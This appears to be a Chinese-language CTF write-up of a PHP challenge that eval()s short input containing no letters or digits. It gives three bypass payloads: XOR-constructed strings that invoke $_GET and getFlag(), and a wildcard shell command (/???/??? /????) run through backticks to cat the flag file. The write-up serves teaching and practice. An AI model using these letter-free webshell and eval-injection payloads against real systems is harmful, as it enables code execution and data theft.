最近遇到一个据说全世界都在打的ctf,其中一道代码审计题很有意思,这里分享三个解法。
题目:
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
解法一:
hint说用getFlag函数获取flag,也就是说我们需要让eval执行getFlag()
要执行code获取的值需要过两个限制
首先
strlen($code)>40 code参数长度限制。
然后第二个限制
preg_match(“/[A-Za-z0-9]+/”,$code) code不能为数字和字母
这里想到的是p牛分享的一些不包含数字和字母的webshell
可以写个简单的写个脚本来生成字符串
for i in a:
for j in a:
print i,j
print chr(ord(i)^ord(j))
但是发现不管都没法绕过字符串长度的问题
在这里膜拜Angel_Kitty师傅,具体详解看一去看下他的博客。
这个异或运算是可以合在一起的,就变形成了
“`{{{“^“?<>/”;//_GET 那么payload就很容易构造出来了
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 这句话相当于 ?code=$_=_GET;$_GET[_]();&_=getFlag 最后$code带入执行了getFlag() &传参截断不太明白见eval长度限制绕过 && PHP5.6新特性
解法二:
解法二应该是个非预期
payload为: ?code=$_=`/???/???%20/????`;?><?=$_?>
原理如下:
这样可以搜索并cat到字符串,然后获取到flag
?><?=$_?> ?>分割了php代码,闭合前面的<?
在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签。 <?= 在short_open_tag开启后相当于 <? echo ,整段代码作用在于输出&_的值。
然后我们看到前面 `/???/???%20/????`;
?在linux中为通用匹配符, /???/??? 匹配 /bin/cat /????匹配flag ,最后` `执行。
当然也有可能还匹配到其他的字符串,我开了个docker试了试 这样就能绕过限制,命令相当于/bin/cat flag 结果如下:
解法三:
解法三思路和解法一类似,不过思路简单粗暴。
直接异或构造getFlag()函数,这里就不多解释了。
payload为:$_=(‘][+:@_<‘^’:>_|,>[‘);$_();